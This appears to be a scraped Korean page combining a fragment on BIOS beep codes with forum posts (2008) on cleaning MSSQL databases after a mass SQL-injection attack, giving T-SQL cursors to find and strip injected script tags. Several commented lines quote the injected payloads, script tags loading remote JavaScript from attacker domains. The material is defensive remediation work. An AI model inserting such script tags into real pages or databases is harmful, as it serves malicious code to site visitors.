비프(beep)에러음에 관하여 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
비프음이란 시스템에 이상이나 Error가 발생할 경우 내장된 스피커로 소리를 내어 user에게 알려는 역할을 하여 문제 해결하는데 도움을 주는 기능이다. POST란 컴퓨터에 전원이 켜지면서 부터 CPU, 키보드,그래픽카드, 메모리등 각종 하드웨어의 정상적인 동작을 하는지 이상유무를 상태를 검사하고 컴퓨터 시스템이 동작할 수 있도록 초기화 작업을 수행하는 일련의 과정에을 말하며, 이 과정에서 문제가 발생하면 오류항목을 '삑' 소리(beep음)으로 소리를 내던지 메세지를 화면에 표시하며, 다음과정으로 넘어가지 못하면 해당 메세지가 하드웨어적으로 치명적인 오류로 판단하여 컴퓨터는 멈추게 된다. * BIOS에 따른 Beep # AWARD BIOS
# AMI BIOS
AMI BIOS 비프음에 대해 자세히 살펴보면 다음과 같다.
|
http://cafe.naver.com/sqlmaster.cafe?iframe_url=/ArticleRead.nhn%3Farticleid=1755
인젝션공격 으로 인해서 모든 테이블에 아래와 같은 스크립트들이 입력되어 있는 경우가 있습니다.
전체테이블들의 스크립트를 삭제하는 커서를 만들었습니다.
-- 스크립트의 예
--<script src=http://www.encode72.com/b.js></script>
--<script src=http://www.win496.com/b.js></script>
--<script src=http://www.sslput4.com/b.js></script>
--<script src=http://www.rundll841.com/b.js></script>
--<script src=http://www.advertbnr.com/b.js></script>
--<script src=http://www.siteid38.com/b.js></script>
--<script src=http://www.cookieadw.com/b.js></script>
declare @name sysname, @id int
declare @sname sysname,@xtype int
declare @sql varchar(1000) , @b_data varchar(1000), @a_data varchar(10)
set @b_data='<script src=http://www.cookieadw.com/b.js></script>' -- 변경할문자(스크립트)
set @a_data='''''' -- 변경될문자(공백문자)
DECLARE MYCUR CURSOR FOR
-- 사용자테이블
select name,id from dbo.sysobjects where xtype='U'
OPEN MYCUR
FETCH NEXT FROM MYCUR INTO @name, @id
WHILE (@@FETCH_STATUS = 0)
BEGIN
DECLARE subcur CURSOR FOR
--컬럼 데이터타입이 VARCHAR, CHAR , NVARCHAR, NCHAR 형인것만
select name,xtype from dbo.syscolumns
where xtype in (
167 -- varchar
,175 -- char
,231 --nvarchar
,239 --nchar
)
and id=@id
OPEN subcur
FETCH NEXT FROM subcur INTO @sname,@xtype
WHILE (@@FETCH_STATUS = 0)
BEGIN
-- REPLACE 를 사용한 업데이트 (동적sql)
set @sql=' update dbo.' + @name + ' set ' + @sname + ' = replace(' + @sname + ',''' + @b_data + ''',' + @a_data +')'
exec ( @sql)
FETCH NEXT FROM subcur INTO @sname,@xtype
END
CLOSE subcur
DEALLOCATE subcur
FETCH NEXT FROM MYCUR INTO @name, @id
END
CLOSE MYCUR
DEALLOCATE MYCUR
mssql 전체 테이블 문자 검색 변경angel830514 2008.06.03 13:48 |
답변 2 조회 517 |
---|
MSSQL에 웹해킹으로 DB안에 특정 사이트로 이동하는 자바스크립트 문을 넣어놨는대요.
예를 들어 게시판이라면 제목과 본문뒤에 <script ....> 와 같은 글을 적어놨습니다.
문제는 회원 아이디부분에도 들어가 스크립트만 싹 지워야하는대
전체 테이블에서 해당 문자 검색해서 해당 문자만 변경하게 할려면 어떻게 해야하나요?
테이블 수가 많아 하나하나 노가다 하기는 너무 많습니다.
방법즘 알려주세요.
질문자인사 알려주신 내용을 기반으로 보강해서 수정했습니다. 감사합니다.
검정된 쿼리입니다.
검색 쿼리와 추가된 <script 등을 제거해주는 쿼리입니다.
아래의 쿼리를 돌리기 전에 해당 DB로 가셨어 각 DB마다 확인을 하신 후 발견되시면 제거해주면
됩니다.
* Script 삽입 공격을 당했는지 확인하는 쿼리
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
exec ('select ['+@C+'] from ['+@T+'] where ['+@C+'] like ''%<script%</script>''');
-- print 'select ['+@C+'] from ['+@T+'] where ['+@C+'] like ''%<script%</script>'''
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
* 위의 공격을 당했을 때 복원하는 쿼리 (100% 다 되는 것은 아님 - 별도 확인 필요)
* 해킹 시 길이가 긴 경우에는 짤리고 들어가는 현상이 발생함 - 이 경우에는 복원을
해도 원상복구가 안됨
* 백업 받은 것을 복원하는 수 밖에는 없음
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update ['+@T+'] set ['+@C+'] = left(
convert(varchar(8000), ['+@C+']),
len(convert(varchar(8000), ['+@C+'])) - 6 -
patindex(''%tpircs<%'',
reverse(convert(varchar(8000), ['+@C+'])))
)
where ['+@C+'] like ''%<script%</script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
꼭 복구하시기 바랍니다. 홧팅.
그 외 답변들 1
re: mssql 전체 테이블 문자 검색 변경warez104
답변채택률 89.2% 2008.06.03 14:19 |
|
---|
시스템 테이블인 sysobjects테이블과 syscolumns테이블을 이용해서
스크립트를 생성해서 EXEC명령으로 실행하는 방법이 있습니다.
대충 만들어보면...
DECLARE @SQL varchar(1000), @TableName varchar(128),
@ColumnName varchar(128), @SearchText varchar(1000)SET @SearchText = '<SCRIPT>
...
...
</SCRIPT>'DECLARE cur_COLUMNS CURSOR FOR
SELECT TableName = m.name, ColumnName = d.name
FROM sysobjects m, syscolumns d
WHERE m.xtype = 'U' AND m.id = d.idOPEN cur_COLUMNS
FETCH NEXT FROM cur_COLUMNS
INTO @TableName, @ColumnNameWHILE @@FETCH_STATUS = 0
BEGIN
SET @SQL = 'UPDATE ' + @TableName + ' SET ' + @ColumnName +
' = REPLACE(' + @ColumnName + ', ''' + @SearchText + ''', '''' )'
EXEC @SQL
FETCH NEXT FROM cur_COLUMNS
INTO @TableName, @ColumnName
ENDCLOSE cur_COLUMNS
DEALLOCATE cur_COLUMNS
이런 식으로 녹색 부분에 찾아서 없앨 텍스트를 적고,
SQL문자열을 만들어서 실행하는 방법이 있습니다.
출처 : 직접서술